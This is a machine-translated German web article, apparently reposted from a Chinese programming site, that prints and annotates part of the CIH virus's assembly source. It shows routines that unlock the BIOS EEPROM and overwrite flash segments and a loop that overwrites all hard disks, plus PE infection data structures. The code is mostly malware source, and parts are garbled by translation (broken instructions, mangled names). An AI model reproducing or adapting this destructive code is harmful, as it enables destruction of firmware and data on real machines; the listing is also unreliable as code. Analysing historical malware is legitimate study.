Heim  >  Artikel  >  Backend-Entwicklung  >  Analyse von Beispielen für den Quellcode von Virenprogrammen – CIH-Virus[5]

Analyse von Beispielen für den Quellcode von Virenprogrammen – CIH-Virus[5]

黄舟
黄舟Original
2017-01-17 11:21:471833Durchsuche

Analyse von Quellcodebeispielen für Virenprogramme – CIH-Virus[5]

push ecx
loop $

; Zerstöre die zusätzlichen 000E0000 - 000E007F-Segment-ROM-Daten im BIOS, insgesamt 80h Bytes
xor ah, ah
mov [eax], al
 
 xchg ecx, eax
 loop $
 
 ; Anzeige und Aktivierung der 000E0000 - 000FFFFF-Segmentdaten des BIOS, insgesamt 128 KB, dieses Segment kann Informationen mov eax, 0f5555h schreiben
Pop ecx
mov ch, 0aah
call ebx
mov byte ptr [eax], 20h

loop $

; Zerstöre die Segmentdaten 000FE000 - 000FE07F des BIOS, insgesamt 80h Bytes
mov ah, 0e0h
mov [eax], al

; Den Abschnitt 000F0000 - 000FFFFF des BIOS ausblenden, insgesamt 64 KB
mov word ptr ( BooleanCalculateCode-@10) [esi], 100ch
call esi

; Zerstöre alle Festplatten
KillHardDisk:
xor ebx, ebx
mov bh, FirstKillHardDiskNumber
push ebx
sub esp, 2ch
push 0c0001000h
mov bh, 08h
push ebx
push ecx
push ecx
push ecx
push 40000501h
inc ecx
push ecx
Push ecx

mov esi, esp
sub esp, 0ach

Loop to destroy
LoopOfKillHardDisk:
int 20h
dd 00100004h
 
cmp word ptr [esi+06h], 0017h
je KillNextDataSection

;ChangeNextHardDisk:
inc byte ptr [esi+4dh]

jmp LoopOfKillHardDisk
 
 KillNextDataSection:
 add dword ptr [esi+10h], ebx
 mov byte ptr [esi+4dh], FirstKillHardDiskNumber
 
jmp LoopOfKillHardDisk

Aktivieren EEPROM zu Schreibinformationen
EnableEEPROMToWrite:
mov [eax], cl
mov [ecx], al
mov byte ptr [eax], 80h
mov [eax], cl
mov [ ecx], al

ret

IOForEEPROM:
@10 = IOForEEPROM

xchg eax, edi
xchg edx, ebp
out dx, eax

xchg eax, edi
al , 44h
 
xchg eax, edi
xchg edx, ebp
out dx, eax

xchg eax, edi
, al
 
 ret
 
 ;Statische Datendefinition
 LastVxdCallAddress = IFSMgr_Ring0_FileIO;Die zuletzt aufgerufene Vxd-Anweisungsadresse
 VxdCallAddressTable db 00h db IFSMgr_RemoveFileSystem ApiHook-_PageAllocate
db UnitObcspath-ifSmgr_removeFilesystemapiHook
db ifSmgr_ring0_Fileio-unitobcspath; Der Unterschied zwischen den Adressen der einzelnen VXD-Anrufanweisungen
xDs Anrufnummer
VXDCALLTables = ($ -vxdcallidtable)/04H; in
 
; Virenversion und Copyright-Informationsdefinition
VirusVersionCopyright db 'CIH v'; CIH-Virus-Identifizierung
db ' MinorVirusVersion+’0’ ; > + SizeOfTheFirstVirusCodeSectionTable(04h)

; Dynamische Datendefinition
VirusGameDataStartAddress = VirusSize
@6 = VirusGameDataStartAddress ; Startadresse der Virusdaten

OnBusy db 0 ; „Busy“-Flag
FileModificationTime dd ? ;Dateiänderungszeit

FileNameBuffer db FileNameBufferSize dup(?) ;7fh langer Dateinamenpuffer
@7 = FileNameBuffer
DataBuffer = $
@8 = DataBuffer
NumberOfSections dw ? ; TimeDateStamp dd ? Magic dw ? ;Flagwort (immer 010bh)
LinkerVersion dw ;Linker-Versionsnummer
SizeOfCode dd ? ; Größe des nicht initialisierten Datenblocks
BaseOfCode dd ?
 BaseOfData dd ? ;Datenabschnitt start RVA
 ImageBase dd ? ;Basisadresse RVA laden
 @9 = $
 SectionAlignment dd ? ;Dateiblock Ausrichtung
 OperatingSystemVersion dd ;Erforderliche Betriebssystemversionsnummer
 ImageVersion dd ? ;Erforderliche Subsystemversionsnummer
 Reserviert
SizeOfImage dd ? ; Gesamtlänge jedes Teils der Datei
SizeOfHeaders dd ? ; Datei-Header-Größe
SizeOfImageHeaderToRead = $-NumberOfSections
NewAddressOfEntryPoint = 04h
 
StartOfSectionTable=@9 🎜 > PointerToRawData = StartOfSectionTable+14h; Physischer Offset des Blocks
PointerToRelocations = StartOfSectionTable+18h; Verschiebungs-Offset
NumberOfRelocations = StartOfSectionTable+20h; Anzahl der Verschiebungselemente NumberOfLinenNmbers = StartOfSectionTable+22h ; Anzahl der Zeilennummerntabellen
Characteristics = StartOfSectionTable+24h ; SizeOfScetionTable = Characteristics+04h-SectionName ; Die Menge an Speicher vom Virus benötigt
VirusNeedBaseMemory = $

VirusTotalNeedMemory = @9
; + SizeOfVirusCodeSectionTableEndMark(04h)
;
; END FileHeader
Aus dem obigen Code-Analyseprozess können wir erkennen, dass der CIH-Virus eine klare Struktur und unterschiedliche Schichten hat. Die Grundstruktur dieses Virenprogramms ist der des DOS-Virus sehr ähnlich, mit der Ausnahme, dass die Details des Virus gemäß der Win95-Methode verarbeitet werden und alle Systemaufrufe mit Vxd erfolgen. Dies macht das Virenprogramm einfacher, effizienter und einfacher zu programmieren. Im Vergleich zur Verwendung von Interrupts muss der komplexe Verschiebungsprozess des Virus nicht berücksichtigt werden die Verfolgung des Programms analysieren.

Der CIH-Virus verfügt über zwei Neuerungen: Die eine besteht darin, bei der Infektion nach den leeren Bereichen zwischen den Blöcken der infizierten Datei zu suchen und die verschiedenen Datenstrukturen und Codes des Virus in diese zu schreiben (sofern der leere Bereich vorhanden ist). ist nicht genug, es ist nicht ansteckend, was einer der Gründe dafür ist, dass einige Dateien nicht infiziert werden); zweitens kann der Virus bei einem Angriff die Computerhardware beschädigen, indem er nicht nur den Flash-Speicher verbrennt, sondern auch die Festplatte zerstört.

Aus Sicherheitsgründen haben wir auf eine detaillierte Analyse des Teils des Codes verzichtet, der dazu führt, dass Viren Hardware angreifen und beschädigen.




Das Obige ist der Inhalt der Beispielanalyse des Virenprogramm-Quellcodes – CIH-Virus [5]. Weitere verwandte Inhalte finden Sie auf der chinesischen PHP-Website (www.php.org). php.cn)!



Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn